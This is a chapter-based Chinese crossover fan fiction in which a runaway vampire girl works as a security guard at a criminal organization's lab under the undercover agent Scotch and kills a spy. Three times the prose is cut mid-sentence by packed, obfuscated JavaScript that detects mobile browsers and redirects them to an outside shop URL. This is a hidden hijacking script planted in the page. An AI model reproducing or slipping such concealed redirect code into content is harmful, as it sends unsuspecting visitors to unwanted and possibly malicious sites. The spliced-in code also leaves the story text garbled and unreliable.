《酒厂保安,今天值班》 1. Chapter.01 Chapter.01 盛夏的□□的令人昏厥,大都市里少见的蝉鸣声听起来都有些有气无力的。 壮汉坐在临时搭起来的棚子下,汗液已经浸透了身上的黑色背心,他手里拿着手机在刷着短视频,脸上的墨镜要掉不掉的,手边的塑料瓶上全是水滴,在桌上留下了一滩水渍。 面前摇摇晃晃的桌子上递过来一叠纸,他拎起一个角随意地扫了一眼,无精打采地在上面画了一个勾,又从旁边的箱子里拿出一张卡丢到桌子上。 “带着,去后面等叫号。” 然后继续刷视频。 “好的,谢谢。”余光出现了一双瘦弱的手,很有礼貌地将号码牌双手拿起离开。 嗯?女孩子的声音? 壮汉还以为是自己听错了,他抬起头取下了墨镜,却只在盛夏的阳光中看到一个绕过建筑物往后院去的娇小身影。 穿着风衣的,在大夏天穿着一身风衣的,女孩子。 “怪事。”壮汉摇了摇头,“到底是谁放进来的……算了,反正很快就会淘汰的吧?” 说罢,便见怪不怪地继续刷手机。 毕竟这种无论什么季节都穿着一身厚风衣的家伙也不是没有,那个组织传说中的Gin不就是最典型的例子吗? 或许真的有这种不怕热的人吧? 一阵风吹过,掀倒了壮汉面前的看板,上面“保安招聘”几个大字在烈日下皱成一团。 后院已经聚集了不少人,单薄的衣衫下清一色的夸张肌肉看起来个个都不好惹,负责测试的教官却是个看起来有些瘦弱的青年,一丝不苟地穿着工作装,少女来到场地乖乖排队的时候,青年已经撂倒了又一位壮汉。 “谢谢参与测试,但是您不合格,请离开吧。”对着躺在地上的壮汉,青年这么温和地说道。 身上的衣服运动间有些凌乱,青年看起来却还游刃有余。 壮汉露出懊恼的神色:“拜托了,请让我再来一次!这是意外!” “我们这里只有一次机会,”青年的语气严肃起来,“保安的工作可不能容纳任何一次的意外!” “……可恶。” 壮汉骂骂咧咧地爬起来,不满地嘟囔着离开,与排队的少女擦肩而过。 “……” 大概是存在感太低,正在气头上的壮汉甚至没有注意到她。 前面的人一个接一个地淘汰,直到临近黄昏,被太阳的光线晃得有些烦躁的少女这才听到了自己的叫号,连忙喊到。 “这里这里!” 直到她出声,教官才发现有这么一号人。 他看着站在自己面前的少女,在短暂的诧异之后叹了一口气,露出了头疼的神色。 怎么招保安还招到了学生?前面怎么审核的? 青年环视一圈,发现少女是最后一个后,也不避讳什么地问道:“你是不是走错地方了?你知道这里是招保安吗?” “嗯,知道。”少女回答道。 “这里招保安,我是说安保人员,那个,我们或许更倾向于招男性……” “嗯,没事,我就是为这份工作来的。” “……”这算什么回答? “我的简历已经过了审核……”少女犹豫道,“你们是想不测试就把我淘汰吗?这是可以投诉的吧?” “……倒也没有。”青年哽住。 “那就快点开始吧,你也想早点下班的对吧?” “……那好吧,开始。” 他在心里叹了一口气,刚摆好姿势打算应付一下,下一秒,凌厉的拳头朝着他的脸打了过来。 拳风贴着脸擦过,掀起鬓角汗湿的头发,如果不是他反应够快,可能中招的这一下就倒了。 青年的神色变得有几分凝重。 面前这个裹在一身大衣里危险的家伙怎么就有种和Gin这么像的既视感?错觉吧?话说真的不热吗? 思绪的飘忽只是一瞬间,在少女的第二拳打过来之前,他勉强挡了下来。 然而那只是个假动作,轻敌的下场就是被抬高的大腿绞着脖子,另一只腿也失去了平衡摔倒在地。 “请问我合格了吗?”压着他的少女礼貌地用敬语问道,却没有松开他的意思。 就有种不合格了就要把他再揍一顿的意思。 大败,彻底的大败。 他承认是自己有点轻敌,这个声音听起来还是个学生的女孩子完全是个练家子,但这个路数……却又不像是专业训练过的样子。 天地倒转的画面中,前面负责的黑衣壮汉走了过来,把他狼狈的样子撞了个正着。 事到如今也没有办法因为认为人家是个小姑娘就拒绝了,青年只好无奈道:“合格了合格了……” “太好了,”少女的声音有一丝努力压抑着的激动,“真的非常感谢您!” “从我身上起来……” “哦哦哦抱歉抱歉!” “……” “哟,Scotch,怎么被个小姑娘撩倒了?”壮汉抱着椅子,一脸看乐子的表情,“准备收摊了,要录用吗?” 被叫做Scotch的青年又叹了一口气,拍了拍身上的灰尘:“录用吧。” 壮汉看了一眼乖乖站在那里的少女:“不过啊,这姑娘怎么一股那家伙……算了算了,今天的人都在这了,那剩下的事情就交给你了,我先下班。” “辛苦了。” 壮汉把手里的简历往Scotch手上一塞,然后带着东西进了那栋楼。 Scotch无奈地拿着手上的简历,看了一眼上面的信息: “锥生……尤雅?已经20岁了啊……” “是的。”少女飞快地回答道。 “好吧,身份信息看起来也没有问题……你被录用了,明天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496739|202549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早上十点来这个地方签合同报到,我是之后给你带班的,你叫我Scotch就好。” “Scotch?” “啊抱歉抱歉,暂时还用不上这个代号,忘掉它吧,”青年温和地笑了笑,“重新认识一下,我的名字是绿川光,你之后的上司。” * 太阳下山后的夜晚依旧很热,月亮却被云层遮住,没有风,整座城市仿佛笼罩在巨大的蒸笼里,到处都是乱七八糟的味道。 不,这简直就是自由的味道。 明明还在大街上,少女却已经忍不住激动得原地转了个圈,收到周围不少穿着清凉的人群诧异的眼光,她却一点都不觉得有什么。 毕竟她现在简直要快乐得想要唱首歌了。 终于离开了那个讨厌的鬼地方,简直不能再快乐了,她就不信躲在东京这种地方,那群鼻子比狗还灵的吸血鬼还能找到她。 虽然很对不起锥生零,但是玖兰这个姓氏实在太高调了,稍微借用一下也没事的对不对? 锥生尤雅……不对,玖兰尤雅感觉自己的脚步变动的无比轻快,跑出黑主学院后,自由的味道将她冲昏了头,现在工作也有着落了……虽然还是当保安,但是守大楼总比整天跟着那群闪闪发光的家伙当保姆要好吧? 不用跟人交流也不会有被发现的危险……再说了,她就是趁着玖兰枢这段时间管不到自己,才找机会跑出来的,所以等他回过神的时候,再想找她就没那么容易了。 少女从风衣口袋里摸出几张纸币,去路边的便利店买了一瓶瓶装水,然后在便利店门口的椅子上坐下,熟练地从风衣下面的白色校服口袋里掏出一个黑色的方盒子。 盒子上面还印着精致的蔷薇花。 这也是为什么她不肯脱掉风衣的原因,一是能遮光,二是能掩盖这身过于明显的校服。 走得匆忙,衣服都没来得及换,抓了件玖兰枢的衣服就溜了——也是她蓄谋已久,把偷偷存的钱放在玖兰枢不常穿的衣服里,走的时候直接带上,这应该就叫灯下黑吧。 她打开瓶装水,把水用大腿夹住,然后从盒子里摸出一颗白色的小药丸丢进瓶子里。 短短几秒钟时间,清澈透明的水变成了暗红色的像血一样的颜色。 她拿起来喝了一口,脸上露出了有些厌倦的神色。 “果然还是需要新鲜的血……” 叹了一口气地抱怨道,她食不知味地把那一瓶泡腾片泡出来的假血喝完,然后把空瓶顺手丢进旁边的垃圾桶。 明天啊…… 保安工作上面写的是包吃包住,反正她也只是想找个地方方便躲起来,明天开始就是她光明的未来了!真不错! 这么想着,她重新把风衣裹好,确保校服不会露出来,然后站起身伸了个懒腰,往来时路上看到的米花公园走去。 今晚先在公园过个夜先。 …… 2. Chapter.02 Chapter.02 第二天一早,太阳刚升起来时,令人窒息的温度就包裹了整个城市。 代号Scotch的青年“绿川光”,实际上是公安卧底的诸伏景光,看着手机上渐渐走到十点的时钟,又看了一眼空荡荡的大楼门口。 “是不是找不到路啊?”这么自言自语地说着,他想着要是那个女孩子迟到了,他就可以顺手以迟到为理由把人开除。 对于无知少女一脚踏入□□这件事他是真的拒绝的,所以他还是不死心地想劝人回头。 没想到时间刚到10点,昨天那个叫锥生尤雅的女孩就出现在了他面前,脚步毫无声息,他甚至根本没有注意到她到底是什么时候过来的。 “锥生尤雅前来报到。” 她仍旧穿着那一身看起来很厚的大衣,把自己裹得严严实实,诸伏景光看着都要喘不过气了,偏偏锥生尤雅脸上甚至连一滴汗都没有,着实奇怪。 见他没反应,锥生尤雅又喊了他的名字,他这才回过神。 “啊是的,你很准时。”诸伏景光擦了擦头上的汗,开始给她介绍工作。 这里是组织名下的一家研究所,是所谓“明面上的企业”,不过话虽如此,实际上如果这里出了什么事的话,也是可以被随时舍弃掉的地方。 本来今天不该是他来带这件事的,但实在有些担心这个女孩的情况,要是换成其他人来,万一看见她的身手,说不定会惹出来一些麻烦事,所以即便是最近手头还有别的活,诸伏景光还是想先想办法让少女知难而退。 至于玖兰尤雅自己……她当然看得出来这个男人有些不情不愿,不过这又有什么关系呢?她只要做事挑不出任何错处就好了,她是不会被抓到把柄的。 “好了,这一层就是最后的,你记住了吗?”诸伏景光关掉通往天台的门,又让尤雅重复了一下刚才的注意事项。 尤雅点点头:“嗯,都记住了。” 她每天要做的工作就是尽早到达工作岗位,将研究所地面上的三层楼包括楼下的地下室,一共四层巡查一遍,然后晚上12点后再巡查一遍,记录好每一个加班的名单,在之后每隔一个小时巡查一次。 不过因为这个活是可以轮班的,所以她要和另外一个搭档一起商量夜班的班次。 研究所不大,来来往往的都是一些科研人员,配两名保安已经足够。 “如果我看到有鬼鬼祟祟的可疑人员怎么办?”她问道,“就地制服吗?到什么程度?” “呃对……等一下,如果是很危险的家伙,那就先联系我……虽然这么说感觉也是要分情况的。” “要是来不及,我能自己处理吗?” “……请尽量在不伤到人的情况下行动吧。”他想了想,又补充道,“不过我更希望你能优先保护好你自己。” “好。” 那还算是挺轻松的。 玖兰尤雅点点头,又和他一起回到一楼。 “那我以后……要叫你绿川前辈吗?” “啊,倒是可以。”诸伏景光还没忘记自己的化名。 “好的,前辈。” 她很乖巧,叫得很甜。 诸伏景光看了一眼她身上的衣服:“看我差点忘了这个,你的制服和工具我还没给你,跟我来。” “哦好。” 他又带着尤雅来到一楼的一个小房间,边用钥匙开门边说:“这里是仓库,平时不太会用到这里,待会我会把钥匙交给你。” “好的。” “哦还有,你家住得远吗?” 这次少女没有立刻就回答。 诸伏景光疑惑地看向她:“很远么?” “……也没有,”玖兰尤雅摇了摇头,“我每天都可以准时来上班的,这个很重要么?” “只是问一下,如果能准时上班就好,要是住的太远耽误了上班时间的话也可以提,我们会在附近给你安排住处……” 玖兰尤雅两眼放光:“福利待遇这么好?那我今天就搬过来吧。” 诸伏景光噎了一下。 研究所的地段不是很好,周围没有电车也没有巴士车站,社畜是不会选择住在这附近的,这里工作的人也不缺钱。他天天开车上班,都差点忘了一般社畜上班是需要通勤很久的。 “你想好了哦?”他诚恳地告诉她这附近真的不是什么好地方,像她这样年轻的小姑娘没必要住在这附近。 “没事,我没有什么娱乐的地方,”尤雅想了想,又说,“周末也没有朋友要约。” 诸伏景光:“……” 他叹了一口气。 “那等你过了试用期才能申请,可以吗?” 哦对,签合同的时候上面写了有试用期的。 虽然有些失望,但也就是要再露宿一个月而已,也不是不能接受。 于是玖兰尤雅点点头:“可以的,那,要是试用期表现优秀可以提前转正吗?” “看你表现……也不是我说了算的。”诸伏景光没有给明确的答案。 “那是谁说了算?” “这里的负责人——来,给你。”他从仓库的货架上找到了一套崭新的西装递给玖兰尤雅,“你先凑合着试试看,看看尺寸合不合适,之后会有人根据你之前提供的尺码专门定制,还要等几天。” “好,真是太感谢了。”她接过西装,一副相当感动的样子。 终于可以不用穿校服,还能把这件满是玖兰枢味道的讨厌大衣换掉了。 她去洗手间换上了那套西装,但是尺码确实比想象中要稍微小了点,不过也不是不能接受。 那身显眼的黑主学院夜间部校服被她小心翼翼地裹在了大衣里。 诸伏景光还等在洗手间外面,见她出来,他脸上飞快地闪过了一丝不自然的神色。 之前玖兰尤雅一直把自己裹在厚重的大衣里面,高领大衣还遮住了她半张脸,现在她整个人被修身的西装包裹住,露出全脸的样子竟然比想象中要惊艳。 怎么说呢……这种感觉就好像,她穿着这身衣服不是当保安的,而是去参加什么国际重大会议的发言人。 就是有这种奇怪的感觉。 “我觉得还挺合身的,就是胸口有点紧。”玖兰尤雅按了按胸口差点崩开的扣子。 “咳咳……”诸伏景光不自然地移开视线,“我会催一下他们的,应该很快了。” “谢谢前辈!” “还有一件事……这是身为前辈的我对你的忠告。” 玖兰尤雅眨巴着眼睛看着他。 他轻声咳嗽了一下,确认这里的确是唯一的监控死角后,才谨慎地叮嘱道:“你还年轻,保安的话,不是什么发展前景很好的岗位,如果真的暂时经济困难的话” “我知道了,谢谢前辈。” “……”他脸上依旧是沉稳的,像是一般工作前辈的神色,但在不经意间,又露出了那种欲言又止的,仿佛隐瞒着什么一般的表情。 但这样的表情一闪而过,快得好像从未出现过,只是玖兰尤雅也确实不是一般人,她看见了,她选择装作什么都没看见。 毕竟和她没有太大关系。 之后诸伏景光又和她交代了一下工作的注意事项,就被一通电话叫走了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496740|202549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,于是剩下的时间尤雅就在这个研究所内到处逛了逛熟悉环境。 今天是工作日,研究所内那些穿着白大褂的人类看起来每一个都很匆忙。 食堂,健身房,休息吸烟区,无论哪里都很干净。 从各方面来看,这里的环境属实不错。 她悠闲地逛了一层,又回到了研究所一楼门口的保安房间。 保安房间里开着空调,因为现在临近中午,太阳还很晒,这个房间又是朝向阳光的,里面的温度算不上凉快。 不过对她来说温度高低都是无所谓的。 玖兰尤雅是个耐得住寂寞的吸血鬼,吸血鬼这种生物也从来不像人类一样是社会性群居动物,如果可以她甚至能接受世界上只剩下自己一个吸血鬼,比所有人都漫长得多的时间……对她来说其实是一件很开心的事情。 这就意味着她能够很悠闲的过日子,然后花上几百年的时间去做一两件事情。 所以她就只是这样看着外面的太阳,几个小时的时间眨眼间就过去了。 “你好,你是新来的保安?要一起吃饭吗?”门口突然出现了一个人影。 玖兰尤雅收回目光,发现这人是一楼308号研究室的研究员——她记得这个人类。 她在巡查楼层时,此人的视线经常落在她身上,观察着她,观察了很久。 现在则是有些过分的热情,带着不可告人的目的,还有一些……着急,似乎是烦恼纠结了很久,而在玖兰尤雅出现时,他观察着她,判断她是个合适的目标,于是做了某个决定。 她看向此人胸口的名牌。 “好啊,”于是她扬起单纯无辜的笑脸,“我刚才还在想要是找不到食堂在哪怎么办呢,谢谢您,三木先生。” 男人的视线从她的脸上又移到她的胸口,脸上的笑容更甚。 “来,我带你去。” …… 实验室的食堂在二楼的拐角。 “诶,你就吃这么点吗?” 注意到她的餐盘上只拿了一小块面包和最小瓶的牛奶,把炸猪排和烧鸟塞满了餐盘的三木次郎有些惊讶。 “我吃这些就够了。” “这样可不行啊,你的工作应该比我们辛苦吧,只吃这么点怎么可以?” 三木嘴上是这么说,见玖兰尤雅没有任何要吃多点的意思,于是便也很注意分寸地没有多说什么了。 玖兰尤雅是个很符合一般刻板印象的吸血鬼,她不像蓝堂家的那个小鬼那样喜欢甜食,她虽然喜欢混迹于人类世界,却只是习惯性处于一种看待猎物的视角去观察人类,放在吸血鬼社会,她也算是那种相当危险的存在。 所以吃人类的食物对她来说是一件没有太大必要的事情,毕竟她是吸血鬼,吸血鬼吃人类的食物是吃不饱的。 不过也不是不能接受就是。 她百无聊赖地观察着周围,却又很热情地应付着三木那些无聊的实验话题和像是训练过的,不着痕迹的套话,眼睛不知不觉地就看向了窗外。 “……然后那天晚上……”注意到玖兰尤雅目光的三木止住话头,顺着玖兰尤雅的视线看过去,却只看见一只在外面窗户的栏杆边休憩的乌鸦。 乌鸦在东京很常见,它们会出没在各种角落,并不稀奇。 “啊,是乌鸦啊。”三木很快地收回了视线。 “我不喜欢乌鸦。”面前的少女突然来了一句这样的话,就在三木想要继续话题追问时,她又朝着三木笑了笑。 “你吃完了呀,那我要回去站岗啦。” “啊,好的……我也差不多要回去工作了。” 3. Chapter.03 Chapter.03 接下来的一段时间,那位绿川光前辈每天都会过来询问玖兰尤雅的工作情况,然后和她一起站岗上班。 只是有时候他会被一个电话叫走,晚上也不经常在,又说之前约好要来的另一个保安因为个人原因不会再来了,他作为前辈就得顶上,不过他不上夜班,也不和她一起吃饭,只是许诺玖兰尤雅会多给一些加班补贴。 玖兰尤雅本身就是个夜行生物,白天没什么事也可以在办公室补觉,倒也觉得没问题,她也没有问他平时不在的时候去做什么。 倒是三木每天准时准点锲而不舍地喊她一起吃饭,偶尔玖兰尤雅巡查楼层的时候,会看见他认真工作的样子。 玖兰尤雅是个活了很多年的老油条了,在人类的视角看来,三木在这里伪装得很好,但在她眼里全是破绽。 他想做什么很危险的事情,而为了这件事情,他做了充足的准备,在等待着某个机会,不动声色地利用玖兰尤雅达成这个目的。 而玖兰尤雅只是想当个躺平的上班族,为了达成躺平的目的,她也不介意做一些其他的事情。 在又一个周五的午后,诸伏景光看着她,又露出了那种欲言又止的表情。 “怎么了前辈?你看起来有话要对我说?” 诸伏景光不知道该从哪里开口,犹豫再三,他还是下定了决心,于是开门见山地问道: “锥生小姐……你难道是和三木先生在交往吗?” 单论外貌来看,诸伏景光不得不承认锥生尤雅有着不输给组织里那位千面魔女Vermouth的外貌,但比起Vermouth那种张扬的美,锥生尤雅更符合东方人的喜好。 也符合这个国家对女性的普遍审美。 黑发黑眼,苍白瘦弱,笑起来也是浅浅淡淡的,带着一些古典的气质,像是精致的洋娃娃。偶尔不经意间却又会流露出不符合她这个外表年龄的风情,惹人怜爱的同时对她又有种非常迫切地…… 就连诸伏景光自己,和她说话时都会下意识地放轻语气,下意识地忘记了这个女孩在十秒钟内就把自己撂倒了的事实。 他完全不知道,这些只是玖兰尤雅观察人类女性后模仿出来的。 被问到的人微微瞪大了眼睛,脸上露出相当惊讶的神色。 “啊?前辈怎么会这么问?”她微微捂住嘴巴,看起来像是听见什么荒唐的事情一般,语气却又很淡定地说着模棱两可的话。 “三木先生是个好人,怕我人生地不熟,每天喊我一起吃饭呢,我很感谢他。” “只是吃饭么?” “嗯,”她点点头,又说,“谁让前辈你这么忙嘛,我平时一个人,三木先生怕我没人说话,就带着我一起吃饭啦。” “这样啊……” 听见她这么说,诸伏景光心里也有点愧疚。 明明人是他招进来的,想把人赶走的也是他,放着不管的也还是他,现在他又有什么资格去质问人家? 他没有任何立场去说这件事。 于是他想了想,说:“这样,正好今天是周五,作为前辈,我去请你吃饭吧,不知道你有没有空?” “当然有!” 她几乎是立刻答应,脸上洋溢着喜悦。 “就这么高兴吗?”只是请吃顿饭而已,诸伏景光反而有点不好意思了。 “我都来了这一周了,还是第一次和前辈一起吃饭,我当然高兴。” 她笑起来的时候看起来也是元气满满,诸伏景光看着,也不自觉地露出了笑容。 等到晚上最后一个研究员下班离开研究所后,诸伏景光就开了车,载着玖兰尤雅一路来到东京的商业街,在池袋找了家中餐厅。 一路上玖兰尤雅就像个乡下来的土包子一样东张西望,这里想看那里也想看,看什么都觉得新鲜。 诸伏景光想起来玖兰尤雅的简历,上面写着她的家乡……是他都很少听到过的乡下中的乡下,也难怪她看什么都觉得新鲜了。 从那种乡下地方来东京讨生活……这孩子也不容易啊,住所也是在有些偏僻的地方。 想到这里,他心里那个想要把人赶走的想法又有一些动摇。 但那一点动摇又很快被他扶稳。 工作哪里都可以找,如果只是看大门的工作倒也还好,就怕一旦出了什么事…… “前辈,我们去吃那个吧!” 她兴致勃勃地指着一家店的看板。 诸伏景光探头一看,【某某鸭血】几个中文大字摆在那里。 鸭血? 他下意识地就想拒绝,但看着玖兰尤雅那闪闪发光的眼神,又鬼使神差地同意了。 他对中国的四川料理不是很擅长啊……不过话都说到这个份上,不去也不好。 …… “啊啊,好久没这样吃素了,太好吃了。” 玖兰尤雅捧着脸笑得一脸幸福。 这段时间她都是强忍着吃下那些不好吃的面包冷食,然后又去洗手间吃血液泡腾片,嘴里都淡得没味道了,现在难得有点新鲜的动物血,可不就是在吃素。 由奢入俭难,之前的储备粮都是玖兰枢,现在她实在有点忍不住了。 但这话听在诸伏景光耳朵里就不是那个意思了。 什么叫吃素? 他看着红彤彤的锅底和摆满了一桌子的鸭血,有些犹豫,甚至有点怀疑面前的女孩对“素菜”的定义是不是和普通人不一样。 “前辈,你不吃吗?”放下筷子,玖兰尤雅问道。 爆辣的料理呛得他鼻子发痒,诸伏景光笑了笑,意思意思地吃了几口。 “我不是很饿,你吃得开心就好。”他说。 “恩恩,那我就不客气啦。” 于是玖兰尤雅又找店员加了两盘鸭血。 今天晚上她算是吃了个爽,甚至忘了时间,以至于从店里出来时,已经到了晚上十点多。 “已经这个点了,”诸伏景光看了一眼手表,随口问道,“你住哪里,我送你回去吧。” “欸?” “没别的意思,就是觉得你一个女孩子这个点在外面不太安全吧,现在电车也停了。”他说,“走吧,报上地址,我送你。” “好,谢谢前辈。” 她报上地址,诸伏景光却是一愣。 “欸?公园?” 玖兰尤雅连忙解释:“啊,只是我住的那里没有可以停车的地方,所以前辈把我送到公寓旁边的公园就好啦,我从公园走过去就一会儿。” 诸伏景光一看距离也不是很远,便想也没想地答应了。 等到了地方他又很热情地说要送她上楼,玖兰尤雅说什么也不想再麻烦他,诸伏景光见状也不好再说什么,只是叮嘱她注意安全。 玖兰尤雅嘴上说着好的,然后走进了公园。 等看不见诸伏景光的车了,她便伸了个懒腰,闻到自己制服上那一股火锅味后,她脸上露出了一丝嫌弃的神色。 她想了想,脚尖轻轻点地,就跳到了树枝上。 然后谁也没有看清的瞬间—— 她,消失了。 消失的玖兰尤雅,几秒后出现在了自己上班的地方。 她对着角落里的监控微微眯了眯眼睛,于是那个监控摄像头便轻轻歪到了一边,她用自己的门禁卡进入研究所,然后径自去了洗手间去处理身上的火锅味。 平日里会有一些人在研究所通宵,所以这里也设置了一些淋浴室。 等她从洗手间出来时,却和另一个人打了个正面招呼。 是三木。 看到她,三木整个人显得有点慌乱,他连忙把手背在身后,然后他又立刻镇定下来。 “锥生小姐这个点还没下班吗?”他用平时闲聊的语气这么问道。 玖兰尤雅摇了摇头,又反问:“三木先生才是,这个点还回来加班吗?” 明明她和前辈一起离开的时候检查过整栋楼的,每个离开的人都登记过,她明明记得三木也在其中,现在他又回来了。 周末用的门禁和平时的不是同一个,诸伏景光还特意交代过。 看来是终于忍不住要做他一直想做的那件事了吗? 听到她这么问,三木点了点头,含糊地说:“啊嗯……有点事情。” 他又看向玖兰尤雅。 “那个……尤雅小姐,你还有空吗?要不要一起去喝一杯呢?” 明明这个时候是直接离开的最佳时机,但毕竟是做这种工作的,他还是忍不住想尽可能地多获取一些资料。 他完全没料到玖兰尤雅会这个时间点回来。 看来原本的计划要稍微做一些更改了。 三木死死捏着手上的U盘,脸上扬起平时那个礼貌的微笑。 把他的小动作看在眼里的玖兰尤雅,在思考几秒钟后,也同样扬起笑容。 “好啊。” 于是三木肉眼可见地松了一口气。 他看着玖兰尤雅用自己的门禁卡带着自己离开建筑,心里的石头总算落地。 …… 这个时间开着的酒馆也只有歌舞伎町一番街了,三木熟门熟路地带着玖兰尤雅来到一家居酒屋,似乎和老板很熟络的样子付了款,又将那个U盘夹在钱币里递给服务生。 他自以为在有些昏暗的灯光下,自己做得很隐蔽,却不知道这一切都被玖兰尤雅看在眼里。 她眯起眼睛,摇着酒杯晃了晃,淡淡地抿了一口酒。 尽管穿着将自己浑身上下都裹得严严实实的黑西装,她喝酒的样子却依旧风情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496741|202549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万种得像是糜艳的美人,那双眼睛不知道是不是反射了灯光,在黑暗中透着一丝诡异的红色,再搭上那样一张过于年轻的脸…… 魔女……这是看见她的那些居酒屋里的,人类脑子里闪过的想法。 于是很快地,就有人来搭讪。 穿得很体面的中年男性,礼貌地问她能不能一起喝一杯。 玖兰尤雅看了一眼三木,伸出手指指向了他。 “我和他一起来的,或许你可以问问他?” 这是一句相当暧昧的话,既没有挑明她和三木的关系,却又显得两人足够亲密。 中年男人还有些不死心,加上酒精上头,正想要继续邀请,而就在这时,居酒屋老板和服务生交换了一个眼色,服务生擦拭桌子的动作顿了顿。 三木不动声色地也敲击自己的杯子回应,然后和居酒屋老板一起阻止醉醺醺的男人,希望他能自己离开。 一旁围观看够了的玖兰尤雅不动声色地轻轻吹了一口气,下一刻,那位原本还想着耍酒疯的中年男子却像是忽然清醒了一样,嘴上说着抱歉,连忙结账离开了。 三木松了一口气:“抱歉啊锥生小姐,居然发生这么不愉快的事情。” “没关系的三木先生。”玖兰尤雅笑得甜甜,眼神落在三木脖子上。 “多谢款待。” …… 深夜的歌舞伎町一番街只有零星几家酒馆还开着。 醉鬼摇摇晃晃地前往下一家酒吧,却在路过一个小巷时,听到了一些奇怪的声音。 心知肚明那是什么,于是酒壮怂人胆,醉鬼便大摇大摆地走了进去。 “喂喂喂,大半夜的在这种地方做什——” 没有人理会他。 脚下似乎踩到了什么黏腻的东西。 以为是踩到别人呕吐物的醉鬼心里嫌弃无比,于是摸出手机照亮了黑暗。 手机灯光照射下,猩红的发黑的液体蜿蜒了一地。 液体来源的地方,是一个躺在地上的男人,和满下巴血迹的女人。 他彻底清醒了。 “吸……吸血鬼啊啊啊啊——” 他尖叫着丢下手机,手脚并用地跑走了,因此也没有看见,那躺在地上的男人,渐渐变成了一堆沙子。 在这个世界观的设定下,纯血种的吸血鬼咬了人就会把人类变成被吸血鬼猎人协会标记为Level E的存在,是一种毫无意识的,只会渴望鲜血的怪物。那种东西要是被制造出来会很麻烦。 所以这是玖兰尤雅进食之后,万无一失的善后手段。 她今天鸭血吃够了,其实本来不想这么做的。 “但是也不能因为你做的这些事情导致我弄丢工作呀,三木先生,真对不起。” 她抛着手上那枚U盘,指尖轻轻用力,便将U盘捏得粉碎。 然后她拍了拍手上的灰尘,心情大好地轻哼着歌离开了小巷。 …… 之后的两天她也是和前辈打了招呼,继续去看大门,只是诸伏景光好像有什么要忙,所以不在岗位,她的工作时长顿时就变成了两杯。 而一想到这是因为少了个人导致的,诸伏景光便连连说他会帮她申请加班费。 于是玖兰尤雅便在研究所待了两天,抱着指头数自己转正后有个住所的日子还有多远。 她倒是悠闲地过了两天,等到第三天时,她再见到诸伏景光,却发现了他脸上凝重的神色。 不仅如此,整个研究所的气氛似乎也有些凝重。 她问诸伏景光是不是发生什么事了。 “待会会有人找你问问题,”他说,“你不用害怕,如实回答就是了……” “诶?是很严重的事情吗?”玖兰尤雅歪着头问道。 诸伏景光看了她一眼,摇了摇头。 “和你没有太大的关系……你只用如实回答就好了,他们不会为难你的。”他又压低声音,见四下无人,才轻声道,“是三木出事了。” 玖兰尤雅装作惊讶的样子,下一刻,刹车声响起,研究所门口停了一辆漆黑的保时捷。 车门打开,从车里走出来一名高大的黑衣男子,头顶的帽子将刘海压得严严实实,大夏天的他也是一身黑色大衣,丝毫不觉得热。 紧接着,是另一位戴着墨镜的健壮男人从车里出来,落后一步跟在那人身后。 踩着慢悠悠的步子朝研究所大门走来,玖兰尤雅清楚地听见,身旁的诸伏景光虽然面色不变,心跳却稍快了些许——他在害怕。 那个身材高大的男人,留着一头很长的银发,那样的质感在夏日的烈阳下闪着一层金色的,朦胧的光。 银发之下,是一双有些暗的,绿色的眼。 只是一眼,玖兰尤雅的目光就被这个人吸引了。 4. Chapter.04 玖兰尤雅走进那个封闭的隔间,等着自己的就是坐在桌子后面的那个一身黑衣的银发男人。 以及坐在他身边的那个壮实的小弟,还有一个黑洞洞的枪口。 “那个……是出什么事了吗?” 看见朝向自己的枪口,她装作慌乱了一下,然后举起双手小心翼翼地问道。 “只是简单的一些问题,不过要是你的回答有问题的话……”壮实小弟笑了一声,将她按在男人对面的椅子上。 玖兰尤雅老老实实地坐好,看见对面的男人口中的香烟烟头忽明忽灭地闪着,房间里的灯光并不亮,他的脸埋藏在头发和帽檐的阴影下,看不真切。 他在观察她,就像玖兰尤雅也在观察他一样,只是男人的坐姿相当随意,但因为他的气场相当强大,所以那张看起来并不舒服的塑料椅子,也愣是被他坐出了老板沙发的感觉。 是一个有些在意自己外在形象的人,但他本人或许并没有意识到这件事——玖兰尤雅是这么判断的,而她从未出错。 这样的沉默并没有持续多久。 “你和三木次郎是什么关系?”男人吐出一口烟,语气有些随意,声音低沉沙哑,却听不出来什么情绪。 但毫无疑问,这是一场关乎生死的严格审讯,看起来只要玖兰尤雅说错一个字,等待她的就是死亡的命运。 看着男人的手指一直有意无意地摩擦着保险栓,玖兰尤雅连忙紧张地说:“那个……我刚来这里工作才一周呢,三木先生人很好,怕我刚来人生地不熟,带我一起吃饭。” “上周五晚上你在哪里?” 